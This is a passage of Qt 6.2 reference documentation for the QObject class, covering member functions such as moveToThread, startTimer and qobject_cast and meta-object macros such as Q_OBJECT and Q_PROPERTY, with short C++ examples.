```
 **See also** [staticMetaObject](qobject#staticMetaObject-var).

 ### 
void QObject::moveToThread([QThread](qthread) \**targetThread*)

 Changes the thread affinity for this object and its children. The object cannot be moved if it has a parent. Event processing will continue in the *targetThread*.

 To move an object to the main thread, use [QApplication::instance](qcoreapplication#instance)() to retrieve a pointer to the current application, and then use [QApplication::thread](qobject#thread)() to retrieve the thread in which the application lives. For example:

 
```
myObject->moveToThread(QApplication::instance()->thread());
```
 If *targetThread* is `nullptr`, all event processing for this object and its children stops, as they are no longer associated with any thread.

 Note that all active timers for the object will be reset. The timers are first stopped in the current thread and restarted (with the same interval) in the *targetThread*. As a result, constantly moving an object between threads can postpone timer events indefinitely.

 A [QEvent::ThreadChange](qevent#Type-enum) event is sent to this object just before the thread affinity is changed. You can handle this event to perform any special processing. Note that any new events that are posted to this object will be handled in the *targetThread*, provided it is not `nullptr`: when it is `nullptr`, no event processing for this object or its children can happen, as they are no longer associated with any thread.

  **Warning:** This function is *not* thread-safe; the current thread must be same as the current thread affinity. In other words, this function can only "push" an object from the current thread to another thread, it cannot "pull" an object from any arbitrary thread to the current thread. There is one exception to this rule however: objects with no thread affinity can be "pulled" to the current thread.

  **See also** [thread](qobject#thread)().

 ### 
[QObject](qobject#QObject) \*QObject::parent() const

 Returns a pointer to the parent object.

 **See also** [setParent](qobject#setParent)() and [children](qobject#children)().

 ### 
[QVariant](qvariant) QObject::property(const char \**name*) const

 Returns the value of the object's *name* property.

 If no such property exists, the returned variant is invalid.

 Information about all available properties is provided through the [metaObject](qobject#metaObject)() and [dynamicPropertyNames](qobject#dynamicPropertyNames)().

 **See also** [setProperty](qobject#setProperty)(), [QVariant::isValid](qvariant#isValid)(), [metaObject](qobject#metaObject)(), and [dynamicPropertyNames](qobject#dynamicPropertyNames)().

 ### 
`[protected]` int QObject::receivers(const char \**signal*) const

 Returns the number of receivers connected to the *signal*.

 Since both slots and signals can be used as receivers for signals, and the same connections can be made many times, the number of receivers is the same as the number of connections made from this signal.

 When calling this function, you can use the `SIGNAL()` macro to pass a specific signal:

 
```
if (receivers(SIGNAL(valueChanged(QByteArray))) > 0) {
    QByteArray data;
    get_the_value(&data);       // expensive operation
    emit valueChanged(data);
}
```
  **Warning:** This function violates the object-oriented principle of modularity. However, it might be useful when you need to perform expensive initialization only if something is connected to a signal.

  **See also** [isSignalConnected](qobject#isSignalConnected)().

 ### 
void QObject::removeEventFilter([QObject](qobject#QObject) \**obj*)

 Removes an event filter object *obj* from this object. The request is ignored if such an event filter has not been installed.

 All event filters for this object are automatically removed when this object is destroyed.

 It is always safe to remove an event filter, even during event filter activation (i.e. from the [eventFilter](qobject#eventFilter)() function).

 **See also** [installEventFilter](qobject#installEventFilter)(), [eventFilter](qobject#eventFilter)(), and [event](qobject#event)().

 ### 
`[protected]` [QObject](qobject#QObject) \*QObject::sender() const

 Returns a pointer to the object that sent the signal, if called in a slot activated by a signal; otherwise it returns `nullptr`. The pointer is valid only during the execution of the slot that calls this function from this object's thread context.

 The pointer returned by this function becomes invalid if the sender is destroyed, or if the slot is disconnected from the sender's signal.

  **Warning:** This function violates the object-oriented principle of modularity. However, getting access to the sender might be useful when many signals are connected to a single slot.

   **Warning:** As mentioned above, the return value of this function is not valid when the slot is called via a [Qt::DirectConnection](qt#ConnectionType-enum) from a thread different from this object's thread. Do not use this function in this type of scenario.

  **See also** [senderSignalIndex](qobject#senderSignalIndex)().

 ### 
`[protected]` int QObject::senderSignalIndex() const

 Returns the meta-method index of the signal that called the currently executing slot, which is a member of the class returned by [sender](qobject#sender)(). If called outside of a slot activated by a signal, -1 is returned.

 For signals with default parameters, this function will always return the index with all parameters, regardless of which was used with [connect](qobject#connect)(). For example, the signal `destroyed(QObject *obj = \nullptr)` will have two different indexes (with and without the parameter), but this function will always return the index with a parameter. This does not apply when overloading signals with different parameters.

  **Warning:** This function violates the object-oriented principle of modularity. However, getting access to the signal index might be useful when many signals are connected to a single slot.

   **Warning:** The return value of this function is not valid when the slot is called via a [Qt::DirectConnection](qt#ConnectionType-enum) from a thread different from this object's thread. Do not use this function in this type of scenario.

  **See also** [sender](qobject#sender)(), [QMetaObject::indexOfSignal](qmetaobject#indexOfSignal)(), and [QMetaObject::method](qmetaobject#method)().

 ### 
void QObject::setParent([QObject](qobject#QObject) \**parent*)

 Makes the object a child of *parent*.

 **See also** [parent](qobject#parent)() and [children](qobject#children)().

 ### 
bool QObject::setProperty(const char \**name*, const [QVariant](qvariant) &*value*)

 Sets the value of the object's *name* property to *value*.

 If the property is defined in the class using [Q\_PROPERTY](qobject#Q_PROPERTY) then true is returned on success and false otherwise. If the property is not defined using [Q\_PROPERTY](qobject#Q_PROPERTY), and therefore not listed in the meta-object, it is added as a dynamic property and false is returned.

 Information about all available properties is provided through the [metaObject](qobject#metaObject)() and [dynamicPropertyNames](qobject#dynamicPropertyNames)().

 Dynamic properties can be queried again using [property](qobject#property)() and can be removed by setting the property value to an invalid [QVariant](qvariant). Changing the value of a dynamic property causes a [QDynamicPropertyChangeEvent](qdynamicpropertychangeevent) to be sent to the object.

 **Note:** Dynamic properties starting with "\_q\_" are reserved for internal purposes.

 **See also** [property](qobject#property)(), [metaObject](qobject#metaObject)(), [dynamicPropertyNames](qobject#dynamicPropertyNames)(), and [QMetaProperty::write](qmetaproperty#write)().

 ### 
bool QObject::signalsBlocked() const

 Returns `true` if signals are blocked; otherwise returns `false`.

 Signals are not blocked by default.

 **See also** [blockSignals](qobject#blockSignals)() and [QSignalBlocker](qsignalblocker).

 ### 
int QObject::startTimer(int *interval*, [Qt::TimerType](qt#TimerType-enum) *timerType* = Qt::CoarseTimer)

 Starts a timer and returns a timer identifier, or returns zero if it could not start a timer.

 A timer event will occur every *interval* milliseconds until [killTimer](qobject#killTimer)() is called. If *interval* is 0, then the timer event occurs once every time there are no more window system events to process.

 The virtual [timerEvent](qobject#timerEvent)() function is called with the [QTimerEvent](qtimerevent) event parameter class when a timer event occurs. Reimplement this function to get timer events.

 If multiple timers are running, the [QTimerEvent::timerId](qtimerevent#timerId)() can be used to find out which timer was activated.

 Example:

 
```
class MyObject : public QObject
{
    Q_OBJECT

public:
    MyObject(QObject *parent = nullptr);

protected:
    void timerEvent(QTimerEvent *event) override;
};

MyObject::MyObject(QObject *parent)
    : QObject(parent)
{
    startTimer(50);     // 50-millisecond timer
    startTimer(1000);   // 1-second timer
    startTimer(60000);  // 1-minute timer

    using namespace std::chrono;
    startTimer(milliseconds(50));
    startTimer(seconds(1));
    startTimer(minutes(1));

    // since C++14 we can use std::chrono::duration literals, e.g.:
    startTimer(100ms);
    startTimer(5s);
    startTimer(2min);
    startTimer(1h);
}

void MyObject::timerEvent(QTimerEvent *event)
{
    qDebug() << "Timer ID:" << event->timerId();
}
```
 Note that [QTimer](qtimer)'s accuracy depends on the underlying operating system and hardware. The *timerType* argument allows you to customize the accuracy of the timer. See [Qt::TimerType](qt#TimerType-enum) for information on the different timer types. Most platforms support an accuracy of 20 milliseconds; some provide more. If Qt is unable to deliver the requested number of timer events, it will silently discard some.

 The [QTimer](qtimer) class provides a high-level programming interface with single-shot timers and timer signals instead of events. There is also a [QBasicTimer](qbasictimer) class that is more lightweight than [QTimer](qtimer) and less clumsy than using timer IDs directly.

 **See also** [timerEvent](qobject#timerEvent)(), [killTimer](qobject#killTimer)(), and [QTimer::singleShot](qtimer#singleShot)().

 ### 
`[since 5.9]` int QObject::startTimer(std::chrono::milliseconds *time*, [Qt::TimerType](qt#TimerType-enum) *timerType* = Qt::CoarseTimer)

 This is an overloaded function.

 Starts a timer and returns a timer identifier, or returns zero if it could not start a timer.

 A timer event will occur every *time* interval until [killTimer](qobject#killTimer)() is called. If *time* is equal to `std::chrono::duration::zero()`, then the timer event occurs once every time there are no more window system events to process.

 The virtual [timerEvent](qobject#timerEvent)() function is called with the [QTimerEvent](qtimerevent) event parameter class when a timer event occurs. Reimplement this function to get timer events.

 If multiple timers are running, the [QTimerEvent::timerId](qtimerevent#timerId)() can be used to find out which timer was activated.

 Example:

 
```
class MyObject : public QObject
{
    Q_OBJECT

public:
    MyObject(QObject *parent = nullptr);

protected:
    void timerEvent(QTimerEvent *event) override;
};

MyObject::MyObject(QObject *parent)
    : QObject(parent)
{
    startTimer(50);     // 50-millisecond timer
    startTimer(1000);   // 1-second timer
    startTimer(60000);  // 1-minute timer

    using namespace std::chrono;
    startTimer(milliseconds(50));
    startTimer(seconds(1));
    startTimer(minutes(1));

    // since C++14 we can use std::chrono::duration literals, e.g.:
    startTimer(100ms);
    startTimer(5s);
    startTimer(2min);
    startTimer(1h);
}

void MyObject::timerEvent(QTimerEvent *event)
{
    qDebug() << "Timer ID:" << event->timerId();
}
```
 Note that [QTimer](qtimer)'s accuracy depends on the underlying operating system and hardware. The *timerType* argument allows you to customize the accuracy of the timer. See [Qt::TimerType](qt#TimerType-enum) for information on the different timer types. Most platforms support an accuracy of 20 milliseconds; some provide more. If Qt is unable to deliver the requested number of timer events, it will silently discard some.

 The [QTimer](qtimer) class provides a high-level programming interface with single-shot timers and timer signals instead of events. There is also a [QBasicTimer](qbasictimer) class that is more lightweight than [QTimer](qtimer) and less clumsy than using timer IDs directly.

 This function was introduced in Qt 5.9.

 **See also** [timerEvent](qobject#timerEvent)(), [killTimer](qobject#killTimer)(), and [QTimer::singleShot](qtimer#singleShot)().

 ### 
[QThread](qthread) \*QObject::thread() const

 Returns the thread in which the object lives.

 **See also** [moveToThread](qobject#moveToThread)().

 ### 
`[virtual protected]` void QObject::timerEvent([QTimerEvent](qtimerevent) \**event*)

 This event handler can be reimplemented in a subclass to receive timer events for the object.

 [QTimer](qtimer) provides a higher-level interface to the timer functionality, and also more general information about timers. The timer event is passed in the *event* parameter.

 **See also** [startTimer](qobject#startTimer)(), [killTimer](qobject#killTimer)(), and [event](qobject#event)().

 ### 
`[static]` [QString](qstring) QObject::tr(const char \**sourceText*, const char \**disambiguation* = nullptr, int *n* = -1)

 Returns a translated version of *sourceText*, optionally based on a *disambiguation* string and value of *n* for strings containing plurals; otherwise returns [QString::fromUtf8](qstring#fromUtf8)(*sourceText*) if no appropriate translated string is available.

 Example:

 
```
void MainWindow::createActions()
{
    QMenu *fileMenu = menuBar()->addMenu(tr("&File"));
    ...
```
 If the same *sourceText* is used in different roles within the same context, an additional identifying string may be passed in *disambiguation* (`nullptr` by default). In Qt 4.4 and earlier, this was the preferred way to pass comments to translators.

 Example:

 
```
MyWindow::MyWindow()
{
    QLabel *senderLabel = new QLabel(tr("Name:"));
    QLabel *recipientLabel = new QLabel(tr("Name:", "recipient"));
    ...
```
 See [Writing Source Code for Translation](i18n-source-translation) for a detailed description of Qt's translation mechanisms in general, and the [Disambiguation](i18n-source-translation#disambiguation) section for information on disambiguation.

  **Warning:** This method is reentrant only if all translators are installed *before* calling this method. Installing or removing translators while performing translations is not supported. Doing so will probably result in crashes or other undesirable behavior.

  **See also** [QCoreApplication::translate](qcoreapplication#translate)() and [Internationalization with Qt](internationalization).

  Member Variable Documentation
-----------------------------

 ### const [QMetaObject](qmetaobject) QObject::staticMetaObject

 This variable stores the meta-object for the class.

 A meta-object contains information about a class that inherits [QObject](qobject), e.g. class name, superclass name, properties, signals and slots. Every class that contains the [Q\_OBJECT](qobject#Q_OBJECT) macro will also have a meta-object.

 The meta-object information is required by the signal/slot connection mechanism and the property system. The [inherits](qobject#inherits)() function also makes use of the meta-object.

 If you have a pointer to an object, you can use [metaObject](qobject#metaObject)() to retrieve the meta-object associated with that object.

 Example:

 
```
QPushButton::staticMetaObject.className();  // returns "QPushButton"

QObject *obj = new QPushButton;
obj->metaObject()->className();             // returns "QPushButton"
```
 **See also** [metaObject](qobject#metaObject)().

   Related Non-Members
-------------------

  ### template <typename T> T qobject\_cast([QObject](qobject#QObject) \**object*)


### template <typename T> T qobject\_cast(const [QObject](qobject#QObject) \**object*)


 Returns the given *object* cast to type T if the object is of type T (or of a subclass); otherwise returns `nullptr`. If *object* is `nullptr` then it will also return `nullptr`.

 The class T must inherit (directly or indirectly) [QObject](qobject) and be declared with the [Q\_OBJECT](qobject#Q_OBJECT) macro.

 A class is considered to inherit itself.

 Example:

 
```
QObject *obj = new QTimer;          // QTimer inherits QObject

QTimer *timer = qobject_cast<QTimer *>(obj);
// timer == (QObject *)obj

QAbstractButton *button = qobject_cast<QAbstractButton *>(obj);
// button == nullptr
```
 The [qobject\_cast](qobject#qobject_cast)() function behaves similarly to the standard C++ `dynamic_cast()`, with the advantages that it doesn't require RTTI support and it works across dynamic library boundaries.

 [qobject\_cast](qobject#qobject_cast)() can also be used in conjunction with interfaces; see the [Plug & Paint](https://doc.qt.io/qt-6.2/qtwidgets-tools-plugandpaint-app-example.html) example for details.

  **Warning:** If T isn't declared with the [Q\_OBJECT](qobject#Q_OBJECT) macro, this function's return value is undefined.

  **See also** [QObject::inherits](qobject#inherits)().

 ### 
QObjectList

 Synonym for [QList](qlist)<[QObject](qobject) \*>.

   Macro Documentation
-------------------

 ### 
`[since 5.8]` QT\_NO\_NARROWING\_CONVERSIONS\_IN\_CONNECT

 Defining this macro will disable narrowing and floating-point-to-integral conversions between the arguments carried by a signal and the arguments accepted by a slot, when the signal and the slot are connected using the PMF-based syntax.

 This function was introduced in Qt 5.8.

 **See also** [QObject::connect](qobject#connect).

 ### 
Q\_CLASSINFO(*Name*, *Value*)

 This macro associates extra information to the class, which is available using [QObject::metaObject](qobject#metaObject)(). Qt makes only limited use of this feature in [Qt D-Bus](qtdbus-index) and [Qt QML](qtqml-index) modules.

 The extra information takes the form of a *Name* string and a *Value* literal string.

 Example:

 
```
class MyClass : public QObject
{
    Q_OBJECT
    Q_CLASSINFO("Author", "Pierre Gendron")
    Q_CLASSINFO("URL", "http://www.my-organization.qc.ca")

public:
    ...
};
```
 **See also** [QMetaObject::classInfo](qmetaobject#classInfo)(), [Using Qt D-Bus Adaptors](usingadaptors), and [Extending QML](qtquick-codesamples#extending-qml).

 ### 
Q\_DISABLE\_COPY(*Class*)

 Disables the use of copy constructors and assignment operators for the given *Class*.

 Instances of subclasses of [QObject](qobject) should not be thought of as values that can be copied or assigned, but as unique identities. This means that when you create your own subclass of [QObject](qobject) (director or indirect), you should *not* give it a copy constructor or an assignment operator. However, it may not enough to simply omit them from your class, because, if you mistakenly write some code that requires a copy constructor or an assignment operator (it's easy to do), your compiler will thoughtfully create it for you. You must do more.

 The curious user will have seen that the Qt classes derived from [QObject](qobject) typically include this macro in a private section:

 
```
class MyClass : public QObject
{
private:
    Q_DISABLE_COPY(MyClass)
};
```
 It declares a copy constructor and an assignment operator in the private section, so that if you use them by mistake, the compiler will report an error.

 
```
class MyClass : public QObject
{
private:
    MyClass(const MyClass &) = delete;
    MyClass &operator=(const MyClass &) = delete;
};
```
 But even this might not catch absolutely every case. You might be tempted to do something like this:

 
```
QWidget w = QWidget();
```
 First of all, don't do that. Most compilers will generate code that uses the copy constructor, so the privacy violation error will be reported, but your C++ compiler is not required to generate code for this statement in a specific way. It could generate code using *neither* the copy constructor *nor* the assignment operator we made private. In that case, no error would be reported, but your application would probably crash when you called a member function of `w`.

 **See also** [Q\_DISABLE\_COPY\_MOVE](qobject#Q_DISABLE_COPY_MOVE).

 ### 
`[since 5.13]` Q\_DISABLE\_COPY\_MOVE(*Class*)

 A convenience macro that disables the use of copy constructors, assignment operators, move constructors and move assignment operators for the given *Class*.

 This function was introduced in Qt 5.13.

 **See also** [Q\_DISABLE\_COPY](qobject#Q_DISABLE_COPY).

 ### 
Q\_EMIT

 Use this macro to replace the `emit` keyword for emitting signals, when you want to use Qt Signals and Slots with a [3rd party signal/slot mechanism](signalsandslots#3rd-party-signals-and-slots).

 The macro is normally used when `no_keywords` is specified with the `CONFIG` variable in the `.pro` file, but it can be used even when `no_keywords` is *not* specified.

 ### 
`[since 5.5]` Q\_ENUM(...)

 This macro registers an enum type with the meta-object system. It must be placed after the enum declaration in a class that has the [Q\_OBJECT](qobject#Q_OBJECT) or the [Q\_GADGET](qobject#Q_GADGET) macro. For namespaces use [Q\_ENUM\_NS](qobject#Q_ENUM_NS)() instead.

 For example:

 
```
class MyClass : public QObject
{
    Q_OBJECT

public:
    MyClass(QObject *parent = nullptr);
    ~MyClass();

    enum Priority { High, Low, VeryHigh, VeryLow };
    Q_ENUM(Priority)
    void setPriority(Priority priority);
    Priority priority() const;
};
```
 Enumerations that are declared with Q\_ENUM have their [QMetaEnum](qmetaenum) registered in the enclosing [QMetaObject](qmetaobject). You can also use [QMetaEnum::fromType](qmetaenum#fromType)() to get the [QMetaEnum](qmetaenum).

 Registered enumerations are automatically registered also to the Qt meta type system, making them known to [QMetaType](qmetatype) without the need to use [Q\_DECLARE\_METATYPE](qmetatype#Q_DECLARE_METATYPE)(). This will enable useful features; for example, if used in a [QVariant](qvariant), you can convert them to strings. Likewise, passing them to [QDebug](qdebug) will print out their names.

 Mind that the enum values are stored as signed `int` in the meta object system. Registering enumerations with values outside the range of values valid for `int` will lead to overflows and potentially undefined behavior when accessing them through the meta object system. QML, for example, does access registered enumerations through the meta object system.

 This function was introduced in Qt 5.5.

 **See also** [Qt's Property System](properties).

 ### 
`[since 5.8]` Q\_ENUM\_NS(...)

 This macro registers an enum type with the meta-object system. It must be placed after the enum declaration in a namespace that has the [Q\_NAMESPACE](qobject#Q_NAMESPACE) macro. It is the same as [Q\_ENUM](qobject#Q_ENUM) but in a namespace.

 Enumerations that are declared with Q\_ENUM\_NS have their [QMetaEnum](qmetaenum) registered in the enclosing [QMetaObject](qmetaobject). You can also use [QMetaEnum::fromType](qmetaenum#fromType)() to get the [QMetaEnum](qmetaenum).

 Registered enumerations are automatically registered also to the Qt meta type system, making them known to [QMetaType](qmetatype) without the need to use [Q\_DECLARE\_METATYPE](qmetatype#Q_DECLARE_METATYPE)(). This will enable useful features; for example, if used in a [QVariant](qvariant), you can convert them to strings. Likewise, passing them to [QDebug](qdebug) will print out their names.

 Mind that the enum values are stored as signed `int` in the meta object system. Registering enumerations with values outside the range of values valid for `int` will lead to overflows and potentially undefined behavior when accessing them through the meta object system. QML, for example, does access registered enumerations through the meta object system.

 This function was introduced in Qt 5.8.

 **See also** [Qt's Property System](properties).

 ### 
`[since 5.5]` Q\_FLAG(...)

 This macro registers a single [flags type](qflags) with the meta-object system. It is typically used in a class definition to declare that values of a given enum can be used as flags and combined using the bitwise OR operator. For namespaces use [Q\_FLAG\_NS](qobject#Q_FLAG_NS)() instead.

 The macro must be placed after the enum declaration. The declaration of the flags type is done using the [Q\_DECLARE\_FLAGS](qflags#Q_DECLARE_FLAGS)() macro.

 For example, in [QItemSelectionModel](qitemselectionmodel), the [SelectionFlags](qitemselectionmodel#SelectionFlag-enum) flag is declared in the following way:

 
```
class QItemSelectionModel : public QObject
{
    Q_OBJECT

public:
    ...
    enum SelectionFlag {
        NoUpdate       = 0x0000,
        Clear          = 0x0001,
        Select         = 0x0002,
        Deselect       = 0x0004,
        Toggle         = 0x0008,
        Current        = 0x0010,
        Rows           = 0x0020,
        Columns        = 0x0040,
        SelectCurrent  = Select | Current,
        ToggleCurrent  = Toggle | Current,
        ClearAndSelect = Clear | Select
    };

    Q_DECLARE_FLAGS(SelectionFlags, SelectionFlag)
    Q_FLAG(SelectionFlags)
    ...
}
```
  **Note:** The Q\_FLAG macro takes care of registering individual flag values with the meta-object system, so it is unnecessary to use [Q\_ENUM](qobject#Q_ENUM)() in addition to this macro.

  This function was introduced in Qt 5.5.

 **See also** [Qt's Property System](properties).

 ### 
`[since 5.8]` Q\_FLAG\_NS(...)

 This macro registers a single [flags type](qflags) with the meta-object system. It is used in a namespace that has the [Q\_NAMESPACE](qobject#Q_NAMESPACE) macro, to declare that values of a given enum can be used as flags and combined using the bitwise OR operator. It is the same as [Q\_FLAG](qobject#Q_FLAG) but in a namespace.

 The macro must be placed after the enum declaration.

  **Note:** The Q\_FLAG\_NS macro takes care of registering individual flag values with the meta-object system, so it is unnecessary to use [Q\_ENUM\_NS](qobject#Q_ENUM_NS)() in addition to this macro.

  This function was introduced in Qt 5.8.

 **See also** [Qt's Property System](properties).

 ### 
Q\_GADGET

 The Q\_GADGET macro is a lighter version of the [Q\_OBJECT](qobject#Q_OBJECT) macro for classes that do not inherit from [QObject](qobject) but still want to use some of the reflection capabilities offered by [QMetaObject](qmetaobject). Just like the [Q\_OBJECT](qobject#Q_OBJECT) macro, it must appear in the private section of a class definition.

 Q\_GADGETs can have [Q\_ENUM](qobject#Q_ENUM), [Q\_PROPERTY](qobject#Q_PROPERTY) and [Q\_INVOKABLE](qobject#Q_INVOKABLE), but they cannot have signals or slots.

 Q\_GADGET makes a class member, `staticMetaObject`, available. `staticMetaObject` is of type [QMetaObject](qmetaobject) and provides access to the enums declared with Q\_ENUMS.

 ### 
Q\_INTERFACES(...)

 This macro tells Qt which interfaces the class implements. This is used when implementing plugins.

 Example:

 
```
class BasicToolsPlugin : public QObject,
                         public BrushInterface,
                         public ShapeInterface,
                         public FilterInterface
{
    Q_OBJECT
    Q_PLUGIN_METADATA(IID "org.qt-project.Qt.Examples.PlugAndPaint.BrushInterface" FILE "basictools.json")
    Q_INTERFACES(BrushInterface ShapeInterface FilterInterface)

public:
    ...
};
```
 See the [Plug & Paint Basic Tools](https://doc.qt.io/qt-6.2/qtwidgets-tools-plugandpaint-plugins-basictools-example.html) example for details.

 **See also** [Q\_DECLARE\_INTERFACE](qtplugin#Q_DECLARE_INTERFACE)(), [Q\_PLUGIN\_METADATA](qtplugin#Q_PLUGIN_METADATA)(), and [How to Create Qt Plugins](plugins-howto).

 ### 
Q\_INVOKABLE

 Apply this macro to declarations of member functions to allow them to be invoked via the meta-object system. The macro is written before the return type, as shown in the following example:

 
```
class Window : public QWidget
{
    Q_OBJECT

public:
    Window();
    void normalMethod();
    Q_INVOKABLE void invokableMethod();
};
```
 The `invokableMethod()` function is marked up using Q\_INVOKABLE, causing it to be registered with the meta-object system and enabling it to be invoked using [QMetaObject::invokeMethod](qmetaobject#invokeMethod)(). Since `normalMethod()` function is not registered in this way, it cannot be invoked using [QMetaObject::invokeMethod](qmetaobject#invokeMethod)().

 If an invokable member function returns a pointer to a [QObject](qobject) or a subclass of [QObject](qobject) and it is invoked from QML, special ownership rules apply. See [Data Type Conversion Between QML and C++](qtqml-cppintegration-data) for more information.

 ### 
`[since 6.0]` Q\_MOC\_INCLUDE

 The Q\_MOC\_INCLUDE macro can be used within or outside a class, and tell the [Meta Object Compiler](moc) to add an include.

 
```
// Put this in your code and the generated code will include this header.
Q_MOC_INCLUDE("myheader.h")
```
 This is useful if the types you use as properties or signal/slots arguments are forward declared.

 This function was introduced in Qt 6.0.

 ### 
`[since 5.8]` Q\_NAMESPACE

 The Q\_NAMESPACE macro can be used to add [QMetaObject](qmetaobject) capabilities to a namespace.

 Q\_NAMESPACEs can have [Q\_CLASSINFO](qobject#Q_CLASSINFO), [Q\_ENUM\_NS](qobject#Q_ENUM_NS), [Q\_FLAG\_NS](qobject#Q_FLAG_NS), but they cannot have [Q\_ENUM](qobject#Q_ENUM), [Q\_FLAG](qobject#Q_FLAG), [Q\_PROPERTY](qobject#Q_PROPERTY), [Q\_INVOKABLE](qobject#Q_INVOKABLE), signals nor slots.

 Q\_NAMESPACE makes an external variable, `staticMetaObject`, available. `staticMetaObject` is of type [QMetaObject](qmetaobject) and provides access to the enums declared with [Q\_ENUM\_NS](qobject#Q_ENUM_NS)/[Q\_FLAG\_NS](qobject#Q_FLAG_NS).

 For example:

 
```
namespace test {
Q_NAMESPACE
...
```
 This function was introduced in Qt 5.8.

 **See also** [Q\_NAMESPACE\_EXPORT](qobject#Q_NAMESPACE_EXPORT).

 ### 
`[since 5.14]` Q\_NAMESPACE\_EXPORT(*EXPORT\_MACRO*)

 The Q\_NAMESPACE\_EXPORT macro can be used to add [QMetaObject](qmetaobject) capabilities to a namespace.

 It works exactly like the [Q\_NAMESPACE](qobject#Q_NAMESPACE) macro. However, the external `staticMetaObject` variable that gets defined in the namespace is declared with the supplied *EXPORT\_MACRO* qualifier. This is useful if the object needs to be exported from a dynamic library.

 For example:

 
```
namespace test {
Q_NAMESPACE_EXPORT(EXPORT_MACRO)
...
```
 This function was introduced in Qt 5.14.

 **See also** [Q\_NAMESPACE](qobject#Q_NAMESPACE) and [Creating Shared Libraries](https://doc.qt.io/qt-6.2/sharedlibrary.html).

 ### 
Q\_OBJECT

 The Q\_OBJECT macro must appear in the private section of a class definition that declares its own signals and slots or that uses other services provided by Qt's meta-object system.

 For example:

 
```
#include <QObject>

class Counter : public QObject
{
    Q_OBJECT

public:
    Counter() { m_value = 0; }

    int value() const { return m_value; }

public slots:
    void setValue(int value);

signals:
    void valueChanged(int newValue);

private:
    int m_value;
};
```
  **Note:** This macro requires the class to be a subclass of [QObject](qobject). Use [Q\_GADGET](qobject#Q_GADGET) instead of Q\_OBJECT to enable the meta object system's support for enums in a class that is not a [QObject](qobject) subclass.

  **See also** [Meta-Object System](metaobjects), [Signals and Slots](signalsandslots), and [Qt's Property System](properties).

 ### 
Q\_PROPERTY(...)

 This macro is used for declaring properties in classes that inherit [QObject](qobject). Properties behave like class data members, but they have additional features accessible through the [Meta-Object System](metaobjects).

 
```
Q_PROPERTY(type name
           (READ getFunction [WRITE setFunction] |
            MEMBER memberName [(READ getFunction | WRITE setFunction)])
           [RESET resetFunction]
           [NOTIFY notifySignal]
           [REVISION int | REVISION(int[, int])]
           [DESIGNABLE bool]
           [SCRIPTABLE bool]
           [STORED bool]
           [USER bool]
           [BINDABLE bindableProperty]
           [CONSTANT]
           [FINAL]
           [REQUIRED])
```
 The property name and type and the `READ` function are required. The type can be any type supported by [QVariant](qvariant), or it can be a user-defined type. The other items are optional, but a `WRITE` function is common. The attributes default to true except `USER`, which defaults to false.

 For example:

 
```
Q_PROPERTY(QString title READ title WRITE setTitle USER true)
```
 For more details about how to use this macro, and a more detailed example of its use, see the discussion on [Qt's Property System](properties).

 **See also** [Qt's Property System](properties).

 ### 
Q\_REVISION

 Apply this macro to declarations of member functions to tag them with a revision number in the meta-object system. The macro is written before the return type, as shown in the following example:

 
```
class Window : public QWidget
{
    Q_OBJECT
    Q_PROPERTY(int normalProperty READ normalProperty)
    Q_PROPERTY(int newProperty READ newProperty REVISION(2, 1))

public:
    Window();
    int normalProperty();
    int newProperty();
public slots:
    void normalMethod();
    Q_REVISION(2, 1) void newMethod();
};
```
 This is useful when using the meta-object system to dynamically expose objects to another API, as you can match the version expected by multiple versions of the other API. Consider the following simplified example:

 
```
    Window window;
    int expectedRevision = 0;
    const QMetaObject *windowMetaObject = window.metaObject();
    for (int i=0; i < windowMetaObject->methodCount(); i++)
        if (windowMetaObject->method(i).revision() <= expectedRevision)
            exposeMethod(windowMetaObject->method(i));
    for (int i=0; i < windowMetaObject->propertyCount(); i++)
        if (windowMetaObject->property(i).revision() <= expectedRevision)
            exposeProperty(windowMetaObject->property(i));
```
 Using the same Window class as the previous example, the newProperty and newMethod would only be exposed in this code when the expected version is `2.1` or greater.

 Since all methods are considered to be in revision `0` if untagged, a tag of `Q_REVISION(0)` or `Q_REVISION(0, 0)` is invalid and ignored.

 You can pass one or two integer parameters to `Q_REVISION`. If you pass one parameter, it denotes the minor version only. This means that the major version is unspecified. If you pass two, the first parameter is the major version and the second parameter is the minor version.

 This tag is not used by the meta-object system itself. Currently this is only used by the [QtQml](https://doc.qt.io/qt-6.2/qtqml-module.html) module.

 For a more generic string tag, see [QMetaMethod::tag](qmetamethod#tag)()

 **See also** [QMetaMethod::revision](qmetamethod#revision)().

 ### 
`[since 5.0]` Q\_SET\_OBJECT\_NAME(*Object*)

 This macro assigns *Object* the [objectName](qobject#objectName-prop) "Object".

 It doesn't matter whether *Object* is a pointer or not, the macro figures that out by itself.

 This function was introduced in Qt 5.0.

 **See also** [QObject::objectName](qobject#objectName-prop)().

 ### 
Q\_SIGNAL

 This is an additional macro that allows you to mark a single function as a signal. It can be quite useful, especially when you use a 3rd-party source code parser which doesn't understand a `signals` or `Q_SIGNALS` groups.

 Use this macro to replace the `signals` keyword in class declarations, when you want to use Qt Signals and Slots with a [3rd party signal/slot mechanism](signalsandslots#3rd-party-signals-and-slots).

 The macro is normally used when `no_keywords` is specified with the `CONFIG` variable in the `.pro` file, but it can be used even when `no_keywords` is *not* specified.

 ### 
Q\_SIGNALS

 Use this macro to replace the `signals` keyword in class declarations, when you want to use Qt Signals and Slots with a [3rd party signal/slot mechanism](signalsandslots#3rd-party-signals-and-slots).

 The macro is normally used when `no_keywords` is specified with the `CONFIG` variable in the `.pro` file, but it can be used even when `no_keywords` is *not* specified.

 ### 
Q\_SLOT

 This is an additional macro that allows you to mark a single function as a slot. It can be quite useful, especially when you use a 3rd-party source code parser which doesn't understand a `slots` or `Q_SLOTS` groups.

 Use this macro to replace the `slots` keyword in class declarations, when you want to use Qt Signals and Slots with a [3rd party signal/slot mechanism](signalsandslots#3rd-party-signals-and-slots).

 The macro is normally used when `no_keywords` is specified with the `CONFIG` variable in the `.pro` file, but it can be used even when `no_keywords` is *not* specified.

 ### 
Q\_SLOTS

 Use this macro to replace the `slots` keyword in class declarations, when you want to use Qt Signals and Slots with a [3rd party signal/slot mechanism](signalsandslots#3rd-party-signals-and-slots).

 The macro is normally used when `no_keywords` is specified with the `CONFIG` variable in the `.pro` file, but it can be used even when `no_keywords` is *not* specified.

 

 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qobject.html>

QLineEdit Class
===============

 The QLineEdit widget is a one-line text editor. [More...](#details)

 

|  |  |
| --- | --- |
|  Header: | #include <QLineEdit> |
